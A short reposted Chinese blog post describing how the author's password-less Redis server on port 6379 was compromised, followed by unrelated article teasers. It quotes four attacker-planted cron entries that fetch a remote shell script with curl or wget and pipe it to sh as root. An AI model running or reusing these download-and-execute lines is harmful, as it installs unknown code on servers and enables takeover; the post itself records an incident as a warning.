Redis 6379 被攻击

Redis 6379 被攻击Redis6379被攻击刚开始使用redis,把端口打开了,然后没有设置密码,导致被恶意攻击,这里记录一下。[root@realguo~]#redis-cli127.0.0.1:6379>keys*1)”backup2″2)”backup1″3)”backup4″4)”backup3″127.0.0.1:6379>getbackup1″\n\n\n*/2****rootcd1-fsSLhttp://zzhreceive.anondn

大家好,又见面了,我是你们的朋友全栈君。

Redis 6379 被攻击

刚开始使用redis,把端口打开了,然后没有设置密码,导致被恶意攻击,这里记录一下。

[root@realguo ~]# redis-cli
127.0.0.1:6379> keys *
1) "backup2"
2) "backup1"
3) "backup4"
4) "backup3"

127.0.0.1:6379> get backup1
"\n\n\n*/2 * * * * root cd1 -fsSL http://zzhreceive.anondns.net/b2f628/b.sh | sh\n\n"
127.0.0.1:6379> get backup2
"\n\n\n*/3 * * * * root wget -q -O- http://zzhreceive.anondns.net/b2f628/b.sh | sh\n\n"
127.0.0.1:6379> get backup3
"\n\n\n*/4 * * * * root curl -fsSL http://zzhreceive.anondns.net/b2f628fff19fda999999999/b.sh | sh\n\n"
127.0.0.1:6379> get backup4
"\n\n\n*/5 * * * * root wd1 -q -O- http://zzhreceive.anondns.net/b2f628fff19fda999999999/b.sh | sh\n\n"

在这里插入图片描述

第一次被攻击,还有些新鲜感,哈哈。

但是安全还是很重要的,下次不敢不设置密码了

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/145192.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长

相关推荐

  • 数据结构之循环队列C语言实现(详细)[通俗易懂]

    数据结构之循环队列C语言实现(详细)[通俗易懂]队列的一些说明队列的定义队列,一种特殊的线性表特点:只允许在一端输入,在另一端输出。输入端称为队尾,输出端称为队头因此,队列,又称为先进先出表(FIFO),类似于生活中的排队,先来的排在前头,后来的排在后头,一个一个办理业务。队列有两种,一种叫做循环队列(顺序队列),另一种叫做链式队列。这一篇讲的是循环队列,链式队列在另外一篇文章中循环数组循环队列使用的是数组,但是这个数组比较特别,为循环数组。为什么要使用循环数组呢?可以想象一下,假如我们使用通常的数组。那么在使用过程中,我们是从后面加

    2022年5月26日
  • MySQL update回滚 mysqlbinlog回复数据

    MySQL update回滚 mysqlbinlog回复数据

    2022年2月14日
  • REdis主从复制之repl_backlog

    REdis主从复制之repl_backlog

    2021年7月8日
  • APK 签名详解

    APK 签名详解1.签名的意义  为了保证每个应用程序开发商合法ID,防止部分开放商可能通过使用相同的PackageName来混淆替换已经安装的程序,我们需要对我们发布的APK文件进行唯一签名,保证我们每次发布的版本的一致性。2.签名对你的App的影响。   你不可能只做一个APP,你可能有一个宏伟的战略工程,想要在生活,服务,游戏,系统各个领域都想插足的话,你不可能只做一个APP,谷歌建议你把你所有的

    2022年6月5日
  • JavaScript高级程序设计学习总结一

    JavaScript高级程序设计学习总结一一,JavaScript的实现JavaScript和ECMAScript通常都被人认为是相同的含义,JavaScript的含义比ECMAScript规定要多的多。一个完整的的JavaScript实现应该由三个不同的部分组成。核心(ECMAScript的) 文档对象模型(DOM) 浏览器对象模型(BOM)二,ECMAScript中是由ECMA-262定义的,ECMASc…

    2022年8月22日
  • Linux安装Android Sdk「建议收藏」

    Linux安装Android Sdk「建议收藏」在使用Jenkins+Gitlab集成自动化打包时,遇到Linux缺少AndroidSdk环境的问题,单独记录一下安装过程。sdk安装方式常规思路,下载sdk,安装之后修改环境。但是发现,网络上已经没有了sdk的下载资源,有的也只是很老的版本。查看Android开发文档——sdkmanager的使用指南,发现可以使用sdkmanager这个命令行工具进行下载。下载sdkmanager工具包官网下载页最底部-命令行工具下载,找到Linux平台的工具包使用wget下载到服务器wget-P/h

    2022年7月21日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号